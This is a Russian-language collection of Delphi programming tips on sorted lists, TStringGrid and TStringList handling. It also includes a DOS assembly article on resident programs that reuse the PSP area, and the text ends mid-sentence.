* Добавлены 1 свойство и 4 новых метода: *
* Свойство: Compare - имя функции сравнения типа TListSortCompare. *
* Смотри описание метода Sort в TList. *
* Имя функции должно быть назначено до выполнения методов*
* AddSort и Search. Если это не сделано, то генерируется *
* ошибка. *
* Методы: AddSort - позволяет добавлять элементы в List в *
* отсортированном порядке. *
* Search - осуществляет быстрый поиск элемента в *
* отсортированном списке. Item - указатель на искомый *
* элемент. Может содержать только "ключевые" значения, *
* используемые в функции сравнения. *
* Возврат - номер элемента в списке, начиная с 0. *
* Если элемент не найден, то возвращается отрицательное *
* значение (-1). *
* GetItem - возвращает указатель на найденный элемент *
* если элемент отсутствует, возвращается nil *
* ClearAll - очищает память указателей и память, *
* распределенную под хранение элементов Item *
* Внимание! Во избежание нарушения порядка сортировки, не пользуйтесь *
* совместно с новым AddSort методами Add и Insert, *
* оставшимися от TList. *
*******************************************************************************
* Может использоваться без ограничений. *
******************************************************************************* *
* Разработчик Иванов Ю. E-mail: i7@mail.ru *
* Информацию о других разработках автора можно посмотреть на странице *
* http://i7.da.ru *
* *
* декабрь 2000 г. - июль 2002 *
*******************************************************************************
Пример использования:
interface
...
type Tdat = record
kod: integer;
txt: string[50];
num: double;
end;
...
var
ldat: TSortList;
dat: ^Tdat;
...
implementation
//*********************************************
function Sort_dat(i1,i2: Pointer): integer;
var
d1,d2: ^Tdat;
begin
d1:=i1; d2:=i2;
if d1^.kod < d2^.kod then Result:=-1
else
if d1^.kod > d2^.kod then Result:=1
else
Result:=0;
end;
//*********************************************
procedure ....
var
d: Tdat;
pos: integer;
begin
...
// добавление элемента
New(dat);
dat^.kod:=kodd;
dat^.txt:=st;
dat^.num:=dob;
ldat.AddSort(dat);
end;
...
// поиск элемента по "ключевым полям"
d.kod:=8613;
pos:=ldat.Search(@d);
if pos < 0 then
ShowMessage('элемент '+ IntToStr(d.kod) + ' не найден')
else
dat:=ldat.Items[pos];
...
// получение элемента по "ключевым полям"
d.kod:=8613;
dat:=ldat.GetItem(@d);
if dat = nil then
ShowMessage('элемент '+ IntToStr(d.kod) + ' не найден')
...
// очистка списка и памяти элементов
ldat.ClearAll;
...
end;
...
initialization
ldat:=TSortList.Create;
ldat.Compare:=Sort_dat;
finalization
ldat.Free;
end.
*********************************************************************}
unit Sortlist;
interface
uses Classes, SysUtils;
type
TSortList = class(TList)
private
Ret: integer;
ERR: byte;
pcl, pcr: Pointer;
FCompare: TListSortCompare;
procedure SetCompare(Value: TListSortCompare);
function SearchItem(Item: Pointer): integer;
procedure QuickSearch(Item: Pointer; L, R: integer);
public
procedure AddSort(Item: Pointer);
function Search(Item: Pointer): integer;
procedure ClearAll;
function GetItem(Item: Pointer): Pointer;
property Compare: TListSortCompare read FCompare write SetCompare;
end;
implementation
//*******************************************
procedure TSortList.ClearAll;
var
i: integer;
Item: Pointer;
begin
if Count <> 0 then
for i := 0 to Count - 1 do
begin
item := Items[i];
try
Dispose(Item);
except
end;
end;
Clear;
end;
//------------------------------------------------------
procedure TSortList.SetCompare(Value: TListSortCompare);
begin
FCompare := Value;
end;
//-----------------------------------------------------------
procedure TSortList.QuickSearch(Item: Pointer; L, R: integer);
var
K: Integer;
P: Pointer;
begin
ERR := 0;
Ret := -1;
pcl := Items[L];
if Compare(Item, pcl) < 0 then
begin
Ret := L;
ERR := 1;
exit;
end
else if Compare(Item, pcl) = 0 then
begin
Ret := L;
exit;
end;
pcr := Items[R];
if Compare(Item, pcr) > 0 then
begin
Ret := R;
ERR := 2;
exit;
end
else if Compare(Item, pcr) = 0 then
begin
Ret := R;
exit;
end;
//-----------------
if R - L > 1 then
begin
K := (R - L) div 2;
P := items[L + K];
if Compare(Item, P) < 0 then
QuickSearch(Item, L, L + K)
else
begin
if Compare(Item, P) > 0 then
QuickSearch(Item, L + K, R)
else if Compare(Item, P) = 0 then
begin
Ret := L + K;
exit;
end;
end;
end
else
begin
ERR := 1;
ret := R;
end;
end;
//----------------------------------------------------
function TSortList.SearchItem(Item: Pointer): integer;
begin
if Count > 0 then
begin
QuickSearch(Item, 0, Count - 1);
Result := Ret;
end
else
begin
Result := 0;
ERR := 2;
end;
end;
//------------------------------------------------
function TSortList.Search(Item: Pointer): integer;
begin
if Addr(Compare) = nil then
begin
Error('Функция сравнения не назначена', -1);
Result := -1;
exit;
end;
Result := SearchItem(item);
if ERR <> 0 then
Result := -1;
end;
//-----------------------------------------
procedure TSortList.AddSort(item: Pointer);
var
i: integer;
begin
if Addr(Compare) = nil then
begin
Error('Функция сравнения не назначена', -1);
exit;
end;
i := SearchItem(item);
if (ERR = 0) or (ERR = 1) then
Insert(i, item)
else if ERR = 2 then
Add(item);
end;
//-------------------------------------------------
function TSortList.GetItem(Item: Pointer): Pointer;
var
i: integer;
begin
i := Search(Item);
if i = -1 then
Result := nil
else
Result := Items[i];
end;
end.
Способ создания TSR программ без PSP.
Оформил: DeeCo
В данной статье рассматривается способ построения резидентных программ - TSR (Terminate and Stay Resident), позволяющий использовать область PSP (Program Segment Prefix) для размещения резидентного кода программы. Несколько слов о TSR. При разработке TSR - программ стандартными средствами DOS в памяти после завершения программы остается PSP размером 256 байт или по крайней мере его часть, если программа использует область FCB (File Control Block) и параметров для собственных нужд. Мы расскажем Вам о способе, позволяющем полностью использовать область PSP в интересах резидентной программы и приведем пример такой программы. Данный способ был разработан авторами в начале 1989 года, когда потребовалось загрузить много крохотных TSR - программ, размер которых не превышал PSP. Кое-что о недокументированных функциях DOS. Для понимания механизма разработки TSR без PSP необходимо ознакомиться с некоторыми недокументированными функциями DOS и с форматами PSP и MCB - Memory Control Block. PSP - program segment prefix. PSP всегда строится DOS при запуске любой программы и непосредственно предшествует началу программы. Рассмотрим формат PSP.| Смещение. | Размер. | Описание. |
| 00h | 2 БАЙТА | содержит команду INT 20h, которая используется для завершения программы |
| 02h | СЛОВО | сегментный адрес свободной памяти, следующей, за памятью, выделенной программе. Это может быть либо адрес за памятью DOS (например, A000h), либо адрес следующего доступного MCB. |
| 04h | БАЙТ | Резерв |
| 05h | 5 БАЙТ | длинный вызов диспетчера функций DOS. Содержит команду длинного перехода к диспетчеру функций DOS. Используется в программах, ориентированных на CP/M. Смещение в команде длинного перехода содержит количество байтов, доступных в сегменте кода программы. |
| 0Ah | ДВ.СЛОВО | копия вектора прерывания 22h, по которому управление передается для завершения программы. |
| 0Eh | ДВ.СЛОВО | копия вектора прерывания 23h, по которому управление передается при нажатии CONTROL-BREAK или CONTROL-C. |
| 12h | ДВ.СЛОВО | копия вектора прерывания 24h, по которому управление передается при обнаружении критической ошибки. |
| 16h | СЛОВО | сегментный адрес PSP родительского процесса (адрес текущего PSP для процесса, у которого нет родителя). |
| 18h | 20 БАЙТ | FILE HANDLE TABLE. Содержит 20 однобайтовых индексов для системной таблицы файлов. Первые пять входов предназначены для STDIN, STDOUT,STDERR, AUXIO и LSTOUT. |
| 2Ch | СЛОВО | сегментный адрес блока среды для процесса. |
| 2Eh | ДВ.СЛОВО | область сохранения указателя стека процесса, когда процесс использует стек DOS (т.е. содержимое SS:SP перед последним подключением функции DOS с помощью INT 21h). |
| 32h | СЛОВО | максимальное количество входов в FILE HANDLE TABLE (по умолчанию 20). |
| 34h | ДВ.СЛОВО | адрес FILE HANDLE TABLE (стандартно указывает на таблицу в текущем PSP). |
| 38h | 24 БАЙТА | Резерв |
| 50h | 3 БАЙТА | команда INT 21h, за которой следует команда far RET. Используется для вызова диспетчера функций DOS. |
| 53h | 2 БАЙТА | Резерв |
| 55h | 7 БАЙТ | расширение первого FCB. |
| 5Ch | 16 БАЙТ | начальные байты первого неоткрытого FCB. Открытие данного FCB приведет к разрушению второго FCB и байта с длиной командной строки. |
| 6Ch | 16 БАЙТ | начальные байты второго неоткрытого FCB. Открытие данного FCB приведет к разрушению командной строки. |
| 7Сh | ДВ.СЛОВО | Резерв |
| 80h | 128 БАЙТ | область DTA (Data Transfer Area) по умолчанию. Перекрывает байт с длиной командной строки и буфер командной строки (127 байтов). |
| Смещение. | Размер. | Описание. |
| 00h | БАЙТ | тип блока: 'M' (4Dh) - промежуточный блок; 'Z' (5Ah) - последний блок. |
| 01h | СЛОВО | сегмент владельца блока, 0 - свободный блок. |
| 03h | СЛОВО | количество параграфов в блоке. |
| 05h | 11 БАЙТ | Резерв |
page 60, 132
title NONPSP - Резидентная программа без PSP
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = = = =
;
;
Пример построения резидентной программы без PSP
;
;
Авторские права ГРУППЫ ПРОГРАММИСТОВ 2 B
;
;
Язык программирования: Ассемблер
;
Транслятор: MASM
;
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = = = = =
;
;
сообщить транслятору адресацию
;
assume cs: code, ds: code, es: nothing
;
;
определить сегмент кода
;
code segment para
;
subttl Резидентная часть программы
;
ResStart label
byte;
определим начало программы
;
Текст резидентной части.
ResEnd label
byte;
конец резидентной части
ResLen equ ResEnd - ResStart;
размер резидентной части в
;
байтах
ResSize equ(ResEnd - ResStart + 15) / 16;
размер резидентной
;
части в параграфах
org ResStart + ResSize * 16;
для выравнивания на
;
границу параграфа
;
page
subttl Инициализация резидентной программы без PSP
;
MCBLen equ 10 h;
размер MCB
;
PSPMCB db MCBlen dup(0);
резервная область для MCB
SavRes db ResLen dup(0);
область сохранения
;
резидентной части
;
PspOld dw 0;
для адреса старого PSP
PspNew dw 0;
для адреса нового PSP
;
;
сообщения
;
MsgInst label
byte
db 0 ah, 0 dh
db 'Программа установлена'
db 0 ah, 0 dh
db '$'
MsgNoInst label
byte
db 0 ah, 0 dh
db 'Ошибка. Программа не установлена'
db 0 ah, 0 dh
db '$'
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = = = =
;
;
процедура инициализации резидентной программы без PSP
;
;
= = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = = =
= = = = = = = = = = = = = = = = =
ini proc far
;
cld;
для операций
пересылки
mov cs: PspOld, ds;
сохраним старый PSP
;
;
Освобождение environment
;
mov ax, ds: [2 ch];
адрес сегмента
mov es, ax;
environment
cmp ax, 0;
есть environment ?
je Go1;
нет
mov ah, 49 h;
код функции
int 21 h;
освободить
;
память
jnc Go1;
успешно
jmp ErrorRet;
неуспешно
Go1:
mov word ptr ds: [2 ch], 0;
укажем, что нет
;
environment
push cs;
установим
pop es;
ES
push cs;
установим
pop ds;
DS
;
;
запомним резидентную часть
;
т.к.она будет разрушена при построении новых PSP и MCB
;
mov si, Offset ResStart;
откуда
mov di, Offset SavRes;
куда
mov cx, ResLen;
сколько
rep movsb;
перешлем
;
;
модифицируем размер памяти текущей программы от сегмента
;
PSP на длину резидентной части
;
это приведет к построению нового MCB в теле программы
;
mov ah, 4 ah;
модифицируем память
mov bx, ResSize;
размер резидентной
;
части
mov es, PspOld;
сегмент старого PSP
int 21 h;
выполним
jnc Go2;
успешно
jmp ErrorRet;
неуспешно
Go2:
;
;
подсчитаем сегмент памяти для нового PSP
;
mov ax, ResSize;
длина резидентной
;
части в параграфах
add ax, PspOld;
плюс сегмент
;
старого PSP
add ax, MCBLen / 16;
плюс длина MCB
mov PspNew, ax;
запомним сегмент
;
для нового PSP
;
;
создадим новый PSP
;
mov es, PspOld;
адрес старого PSP
mov si, word ptr es: [02 h];
конец памяти
mov ah, 55 h;
построим
;
подчиненный PSP
mov dx, PspNew;
сегмент нового PSP
int 21 h;
выполним
;
;
скорректируем указатель на родительский PSP в новом PSP
;
mov es, PspOld;
сегмент старого PSP
mov ax, word ptr es: [16 h];
адрес родительского
;
PSP
mov es, PspNew;
сегмент нового PSP
mov word ptr es: [16 h], ax;
скорректируем
;
;
сообщим DOS о новом активном PSP
;
mov bx, PspNew;
сегмент нового PSP
mov ah, 50 h;
функция указания нового PSP
int 21 h;
выполним
;
;
укажем принадлежность полученной памяти для нового PSP
;
mov ax, bx;
сегмент нового PSP
sub ax, 1;
сегмент
;
построенного MCB
mov es, ax
;
= = = = = = = = = = = = = = = = = =
mov word ptr es: [01 h], bx;
скорректируем адрес
;
владельца памяти
;
;
переместим резидентную часть на старый PSP
;
mov es, PspOld;
адрес старого PSP
mov cx, ResLen;
размер резидентной
;
части
mov di, 0;
куда
mov si, Offset SavRes;
откуда
rep movsb;
переместим
push cs;
восстановим
pop es;
ES
;
;
Успешный выход из программы
;
PrgEnd:
mov ah, 09 h;
выведем сообщение
mov dx, offset MsgInst;
об успешной
;
установке
int 21 h;
mov ax, 4 c00h;
завершим программу
int 21 h;
обычным
;
образом с кодом 0
;
;
Выход из программы по ошибке
;
ErrorRet:
push cs;
установим адресацию
pop ds;
данных
mov ah, 09 h;
выведем сообщение
mov dx, offset MsgNoInst;
о неуспешной
;
установке
int 21 h;
mov ax, 4 c04h;
завершим программу
int 21 h;
обычным
;
образом с кодом 4
ini endp
;
code ends
;
;
СТЕК
;
stack segment stack
dw 512 dup(0)
stack ends
end ini
TStatusBar с другими контролами.
Автор: man2002ua WEB-сайт: http://forum.vingrad.ruЭтот StatusBar позволит размещать на себе любые другие контролы. Создаем новый компонент от StatusBar и првим код как внизу. Потом инсталлируем и все.
unit StatusBarExt;
interface
uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls;
type
TStatusBarExt = class(TStatusBar)
public
constructor Create(AOwner: TComponent); override; // добавить конструктор
end;
procedure Register;
implementation
uses Consts; // не забыть
constructor TStatusBarExt.Create(AOwner: TComponent);
begin
inherited Create(AOwner);
ControlStyle := ControlStyle + [csAcceptsControls]; // собственно все!
end;
procedure Register;
begin
RegisterComponents('Samples', [TStatusBarExt]);
end;
end.
Проблемы использования компонента TStoredProc.
Автор: Наталия Елманова WEB-сайт: http://www.sources.ru Недавно я перешел на использование Oracle, но все мои попытки использовать компонент TStoredProc оказываются неудачными. Почему? Причины неработоспособности компонента TStoredProc могут быть следующими. Во-первых, при использовании ODBC-доступа может оказаться, что применяемый вами ODBC-драйвер не поддерживает хранимые процедуры (как известно, не все ODBC-драйверы их поддерживают).Во-вторых, имеется известная проблема, описание которой содержится в разделе Developers Support корпоративного сайта Inprise (http://www.inprise.com). Дело в том, что число параметров хранимой процедуры, с которой взаимодействует компонент TStoredProc, не должно превышать 10. В случае, если реальное число параметров превышает 10, многие разработчики переписывают хранимые процедуры так, чтобы они использовали строковые параметры, содержащие по несколько реальных параметров.
Несколько функций для TStream.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
{
These are three utility functions to write strings to a TStream.
Nothing fancy, but I just ended up coding this repeatedly so
I made these functions. }
{
Hier sind einige TStreaam Hilfsfunktionen um strings
in einen TStream zu schreiben.
}
unit ClassUtils;
interface
uses
SysUtils,
Classes;
{: Write a string to the stream
@param Stream is the TStream to write to.
@param s is the string to write
@returns the number of bytes written. }
function Writestring(_Stream: TStream; const _s: string): Integer;
{: Write a string to the stream appending CRLF
@param Stream is the TStream to write to.
@param s is the string to write
@returns the number of bytes written. }
function WritestringLn(_Stream: TStream; const _s: string): Integer;
{: Write formatted data to the stream appending CRLF
@param Stream is the TStream to write to.
@param Format is a format string as used in sysutils.format
@param Args is an array of const as used in sysutils.format
@returns the number of bytes written. }
function WriteFmtLn(_Stream: TStream; const _Format: string;
_Args: array of const): Integer;
implementation
function Writestring(_Stream: TStream; const _s: string): Integer;
begin
Result := _Stream.Write(PChar(_s)^, Length(_s));
end;
function WritestringLn(_Stream: TStream; const _s: string): Integer;
begin
Result := Writestring(_Stream, _s);
Result := Result + Writestring(_Stream, #13#10);
end;
function WriteFmtLn(_Stream: TStream; const _Format: string;
_Args: array of const): Integer;
begin
Result := WritestringLn(_Stream, Format(_Format, _Args));
end;
TStringGrid и файловый поток.
| - Хотел бы я на "винте" столько места, чтобы на него влез двухсот гигабайтный своп-файл! - Зачем тебе такой большой своп?!! - Да не нужен мне такой своп! Просто хотелось бы столько места!.. |
Если вы хотите сохранить это на диске:
var:
myStream: TFileStream;
begin
myStream1 := TFileStream.Create('grid1.sav', fmCreate);
myStream1.WriteComponent(StringGrid1);
myStream1.Destroy;
end;
|
Для обратного чтения:
myStream := TFileStream.Create('grid1.sav', fmOpenRead);
StringGrid1 := myStream1.ReadComponent(StringGrid1) as TStringGrid;
|
Форматирование ячеек TStringGrid.
| Нажмите ! Ещё! Format complete... |
В вашем обработчике OnDrawCell создайте код типа того, что приведен ниже. Этот код отображает разделенную запятой величину, выровненную по правому краю:
begin
if (Row > 0) and (Col > 0) and (grdDivBudget.Cells[Col, Row] <> '') then
begin
{Формат строки с числом с плавающей точкой}
strText := FloatToStrF(StrToFloat(grdDivBudget.Cells[Col, Row]),
ffNumber, 13, 2);
{Устанавливаем шрифт}
grdDivBudget.Canvas.Font.Name := 'Courier';
if StrToFloat(grdDivBudget.Cells[Col, Row]) < 0 then
grdDivBudget.Canvas.Font.Color := clRed;
grdDivBudget.Canvas.Font.Style := grdDivBudget.Canvas.Font.Style -
[fsBold];
{Центрируем текст в ячейке по вертикали, по правому полю,
и отодвигаем его от правого поля на два пикселя.}
X := Rect.Right - grdDivBudget.Canvas.TextWidth(strText);
Y := Rect.Top + ((Rect.Bottom - Rect.Top -
grdDivBudget.Canvas.TextHeight(strText)) div 2);
Dec(Rect.Right, 2);
grdDivBudget.Canvas.TextRect(Rect, X, Y, strText);
end;
end;
|
Но при этом вы можете обнаружить, что проверка данных для данного способа может быть проблематична (например, что будет, если пользователь введет 'TX' в числовой колонке). Эта ситуация усугубляется тем фактом, что сетка (во всяком случае DrawGrid) не позволяет реализовать "последовательное поведение" для различных путей навигации по сетке (например, инициализировать различные события, если вы пользуетесь курсорными стрелками, мышью, или просто нажимаете Enter). Но и это все решается простой посылкой другого сообщения (позже я расскажу вам как это можно сделать).
Сортировка по содержимому нужного столбца в TStringGrid.
unit olimp_;
interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
Grids, StdCtrls;
type
TForm1 = class(TForm)
Tabl: TStringGrid;
Button1: TButton;
Label1: TLabel;
procedure FormActivate(Sender: TObject);
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
procedure TForm1.FormActivate(Sender: TObject);
begin
tabl.Cells[0, 0] := 'Страна';
tabl.Cells[1, 0] := 'Золотых';
tabl.Cells[2, 0] := 'Серебряных';
tabl.Cells[3, 0] := 'Бронзовых';
tabl.Cells[4, 0] := 'Всего';
tabl.Cells[5, 0] := 'Баллов';
tabl.Cells[0, 1] := 'Австралия';
tabl.Cells[0, 2] := 'Белоруссия';
tabl.Cells[0, 3] := 'Великобритания';
tabl.Cells[0, 4] := 'Германия';
tabl.Cells[0, 5] := 'Италия';
tabl.Cells[0, 6] := 'Китай';
tabl.Cells[0, 7] := 'Корея';
tabl.Cells[0, 8] := 'Куба';
tabl.Cells[0, 9] := 'Нидерланды';
tabl.Cells[0, 10] := 'Россия';
tabl.Cells[0, 11] := 'США';
tabl.Cells[0, 12] := 'Франция';
tabl.Cells[0, 13] := 'Япония';
end;
procedure TForm1.Button1Click(Sender: TObject);
var
c, r: integer; // номер колонки и строки таблицы
s: integer; // всего медалей у команды
p: integer; // очков у команды
m: integer; // номер строки с максимальным количеством очков
buf: array[0..5] of string; // буфер для обмена строк
i: integer; // номер строки используется во время сортировки
begin
for r := 1 to tabl.rowcount do // обработать все строки
begin
s := 0;
// вычисляем общее кол-во медалей
for c := 1 to 3 do
if tabl.cells[c, r] <> '' then
s := s + StrToInt(tabl.cells[c, r])
else
tabl.cells[c, r] := '0';
// вычисляем количество очков
p := 7 * StrToInt(tabl.cells[1, r]) +
6 * StrToInt(tabl.cells[2, r]) +
5 * StrToInt(tabl.cells[3, r]);
// вывод результата
tabl.cells[4, r] := IntToStr(s); // всего медалей
tabl.cells[5, r] := IntToStr(p); // очков
end;
// сортировка таблицы по убыванию в соответствие
// с количеством баллов (по содержимому 5-ого столбца)
// сортировка методом выбора
for r := 1 to tabl.rowcount - 1 do
begin
m := r; // максимальный элемент - в r-ой строке
for i := r to tabl.rowcount - 1 do
if StrToInt(tabl.cells[5, i]) > StrToInt(tabl.cells[5, m]) then
m := i;
if r <> m then
begin // обменяем r-ую и m-ую строки таблицы
for c := 0 to 5 do
begin
buf[c] := tabl.Cells[c, r];
tabl.Cells[c, r] := tabl.Cells[c, m];
tabl.Cells[c, m] := buf[c];
end;
end;
end;
end;
end.
Скачать весь проект
Вывести номер строки и столбца TStringGrid.
Автор: Дмитрий КарагеурНапример, у нас есть таблица с некоторыми данными, и нам необходимо какую-либо запись отредактировать/удалить и т.п. Чтобы не считать, какой это столбец или строка используем следующее: создаем popup menu, прописываем его в форме и создаем соответствующие обработчики событий - это все в файле. На самой таблице жмем правым кликом и edit и перед нами номер строки и столбца. Эти данные пригодятся для создания более интерактивного и дружественного интерфейса ваших приложений.
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, Grids, Menus;
type
TForm1 = class(TForm)
StringGrid1: TStringGrid;
PopupMenu1: TPopupMenu;
Edit1: TMenuItem;
procedure StringGrid1MouseMove(Sender: TObject; Shift: TShiftState; X,
Y: Integer);
procedure Edit1Click(Sender: TObject);
private
{ Private declarations }
public
x1, y1: integer;
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.StringGrid1MouseMove(Sender: TObject; Shift: TShiftState;
X, Y: Integer);
begin
form1.x1 := x;
form1.y1 := y;
end;
procedure TForm1.Edit1Click(Sender: TObject);
var
Column, Row: Longint;
begin
StringGrid1.MouseToCell(form1.x1, form1.y1, Column, Row);
ShowMessage('Строка - ' + IntToStr(row) + #13 + 'Столбец - ' + IntToStr(column));
end;
end.
TStringGrid с фокусом (OnDrawCell).
Если вы создаете собственный обработчик компонента TStringGrid OnDrawCell, то вы можете нарисовать все, что вам заблагорассудится. Попробуйте, к примеру, это:
procedure TForm1.DrawCell(Sender: TObject;
Col: Longint;
Row: Longint;
Rect: TRect;
State: TGridDrawState);
var
lRow, lCol: LongInt;
S: string;
begin
lRow := Row;
lCol := Col;
with Sender as TStringGrid, Canvas do
begin
if (gdSelected in State) then
begin
Brush.Color := clHighlight; { *** }
end
else if (lRow < FixedRows) or (lCol < FixedCols) then
begin
Brush.Color := FixedColor;
end
else
begin
Brush.Color := Color;
end;
FillRect(Rect);
SetBkMode(Handle, TRANSPARENT);
TextOut(Rect.Left + 2, Rect.Top + 2, Cells[lCol, lRow]);
end;
end;
|
Строка с комментарием { *** } в данном контексте ключевая. Она "сообщает" о том, что если мы рисуем ячейку, которая имеет фокус, то мы ее рисуем с применением цвета подсветки (highlight) (хотя вы бы могли здесь использовать любой другой нравящийся вам цвет), хотя никто нам специально о необходимости подкрашивания области сфокусированной ячейки и не говорил. Единственная проблема возникает со шрифтом, но в конечном счете я обнаружил, что она решается сама собой, если установить свойство компонента TStringGrid DefaultDrawing в TRUE (я потерял немало времени, решая проблему цвета шрифта со значением FALSE!). Попробуйте также поиграться с другими настройками цветов, может вам повезет и вы добъетесь неописуемой красоты компонента TStringGrid.
TStringList в TIniFile.
| Летит компьютер с 9-го этажа, и думает: "Вот бы щас зависнуть... " |
uses Classes;
type
TIniStringlist = class( TStringList )
public
procedure LoadFromIni(const FileName, Section: string);
procedure SaveToIni(const FileName, Section: string);
end;
implementation
uses
IniFiles, SysUtils;
procedure TIniStringList.LoadFromIni(const FileName, Section: string);
var
index: Integer;
Line: string;
begin
with TIniFile.Create( FileName ) do
try
ReadSectionValues( Section, Self);
for index:= 0 to Count - 1 do
begin
{ Удаляем имя идентификатора ...}
Line:= Values[ IntToStr( index ) ];
{ Удаляем тильду ... }
System.Delete( Line, 1, 1);
Strings[ index ]:= Line;
end;
finally
Free;
end;
end;
procedure TIniStringList.SaveToIni( const FileName, Section: string);
var
index: Integer;
Line: string;
begin
with TIniFile.Create( FileName ) do
try
EraseSection( Section );
for index:= 0 to Count - 1 do
begin
{ Сохраняем белые пробелы, пустые строки ...}
Line:= '~' + Strings[ index ];
WriteString( Section, IntToStr( index ), Line);
end;
finally
Free;
end;
end;
end.
|
Применение:
var
L: TIniStringList;
begin
L := TIniStringList.Create;
L.LoadFromIni('MyFile.Ini', 'Alati'); {Загружаем L..}
L.Free;
end.
|
Свойство TStringList.
Автор: Mike Orriss Вам необходимо определять поле как TStrings, а не как TStringList - ловушка, в которую, подразумеваю, попадал не я один!Следующий пример показывает подход, необходимый для создания свойства, имеющего тип TStringList:
private FList: TStrings; protected procedure SetList(Value: TStrings); published property List: TStrings read FList write SetList; ... constructor Txxxxx.Create(AOwner: TComponent); begin inherited Create(AOwner); FList := TStringList.Create; end; destructor Txxxxx.Destroy; begin FList.Free; inherited Destroy; end; procedure Txxxxx.SetList(Value: TStrings); begin FList.Assign(Value); end; |
Редактор свойства TStringListProperty.
Автор: Pat Ritchey Я пишу редактор для свойства TStrings. В зависимости от значений других свойств, я хотел бы показывать или свой редактор свойства, или редактор свойства TStringListProperty, заданный по умолчанию, но я не знаю как передавать управление TStringListProperty...Сделайте ваш редактор свойства наследником TStringListProperty (добавьте STREDIT в список используемых модулей) и согласно вашим обстоятельствам вызывайте метод предка Edit:
unit MyEditor;
interface
uses STREDIT;
type
TMyStringListProperty = class(TStringListProperty)
procedure Edit; override;
end;
implementation
procedure TMyStringListProperty.Edit;
begin
if { какие-то условия } then
{ что-то делаем }
else
inherited Edit;
end;
end.
|
TStringList и потоки.
Автор: Mike Scott Возможно ли выполнить StringList.SaveToStream во время процесса WriteComponent? Если необходимо создать код, сохраняющий каждую строку, могу ли я воспользоваться Stream.WriteStr, или мне необходимо сохранять длину в байтах + сами символы? (Все мои строки < 256 символов).Вы можете легко записывать строки, если определите, что список строк вместо DefineBinaryPropery должен использовать DefineProperty. Чтение и запись должны выпоняться соответственно с помощью методов TReader и TWriter. Записывать вы можете приблизительно так:
Writer.WriteListBegin ; for i := 0 to TheStringList.Count - 1 do Writer.WriteString( TheStringList[ i ] ) ; Writer.WriteListEnd ; |
Для чтения можно воспользоваться следующим кодом:
Reader.ReadListBegin ; while not Reader.EndOfList do TheStringList.Add( Reader.ReadString ) ; Reader.ReadListEnd ; |
Удаление дубликатов в TStringList.
Оформил: DeeCo Автор: http://www.swissdelphicenter.ch
procedure TForm1.Button1Click(Sender: TObject);
var
sl: TStringList;
begin
sl := TStringList.Create;
try
with sl do
begin
// Duplicates does nothing
// if the list is not sorted.
Sorted := True;
// Ignore attempts to add
// duplicate strings to the list.
Duplicates := dupIgnore;
Add(Edit1.Text);
end;
Listbox1.Items.Assign(sl);
finally
sl.Free;
end;
end;
TStringList.IndexOf. Зависимость от сортировки.
Автор: Илья Илларионов Свойство Sorted и метод IndexOf. В VCL Help написано, что TStringlist.IndexOf возвращает ссылку на ПЕРВЫЙ объект списка, имеющий заданное имя. В случае, если Sorted == False, это именно так, потому что индекс ищется путем прямого сканирования имен. В случае же, если Sorted == True, и объектов с одинаковым именем в списке НЕСКОЛЬКО, IndexOf возвращает вхождение ПОСЛЕДНЕГО объекта, т.к. поиск осуществляется по отсортированному массиву, а именно после последнего объекта должен добавлять метод Add при добавлении в сортированный массив. Логично, но полное противоречие с Help. Способ решения пока такой: после получения индекса пытаться сканировать вверх до тех пор, пока имя не перестанет совпадать с требуемым, или до 0. При сканировании следует обращать внимание на свойство CaseSensitive класса. КОММЕНТАРИЙ Анализ кода TStringList.IndexOf (D5) показывает, что в случае отсутствия сортировки работает линейный метод TStrings.IndexOf, иначе - метод Find, который и находит (согласно Help) последний из одинаковых элементов.Вывод: недоработана статья из Help по TStringList.IndexOf, где эта особенность не описана.
TStringList, владеющий объектами.
В этом случае вам нужно освобождать объекты StringList точно также, как вы это делали без него. StringList.Free просто очистит список и строки, но не ассоциированные с ними объекты. Дело в том, что вы могли бы иметь указатели на объекты, например, в двух StringList, и вы могли бы захотеть освободить в одном список строк без освобождения объектов, содержащихся в другом.Вы можете создать свой собственный класс, автоматизирующий процедуру освобождения объектов. Вот образец такого класса:
TOwnerStringList = class(TStringList)
private
FOwnsObjects: Boolean;
public
constructor Create(AOwnsObjects: Boolean); override;
destructor Destroy; override;
end;
constructor TOwnerStringList.Create(AOwnsObjects: Boolean);
begin
inherited Create;
FOwnsObjects := AOwnsObjects;
end;
destructor TOwnerStringList.Destroy;
var
I: Integer;
begin
if FOwnsObjects then
for I := 0 to MyStrLst.Count - 1 do
TObject(Objects[I]).Free;
inherited Destroy;
end;
|
Теперь, когда у вас есть взаимно-однозначное соответствие между списком строк и имеющимися объектами, то для создания нового списка, который уничтожал бы объекты при освобождении списка строк, вам необходимо выполнить команду: "MyStringList := TOwnerStringList.Create(True)". Для того, чтобы список вел себя как обычно, передавайте в методе Create в качестве параметра False, или просто используйте нормальный TStringList.
TStringList. Неустойчивость сортировки.
Автор: Илья Илларионов Метод Sort класса TStringList является НЕУСТОЙЧИВЫМ. Это критично при работе со свойством Objects. Например, при использовании в качестве строкового индекса для добавляемых объектов. После вызова Sort объекты с одинаковым именем в списке располагаются в порядке, обратном тому, в котором были добавлены. Способ решения - всегда сортировать список два раза. В этом случае, даже если Borland поправит недокументированный глюк с неустойчивостью сортировки, объекты все равно будут, после перекомпиляции на новых исходниках TStringList, находиться в нужном порядке. КОММЕНТАРИЙ Этот камень перенесен из категории БИБЛИОТЕКА.Описываемый эффект обусловлен особенностью реализации метода сортировки QuickSort. Во первых, нельзя считать его неустойчивым, поскольку он всегда поступает однообразно по отношению к элементам с одинаковым значением ключа - а именно переупорядочивает их строго в обратном порядке по отношению к исходному. Во-вторых, как справедливо замечено в обсуждении, метод сортировки не несет 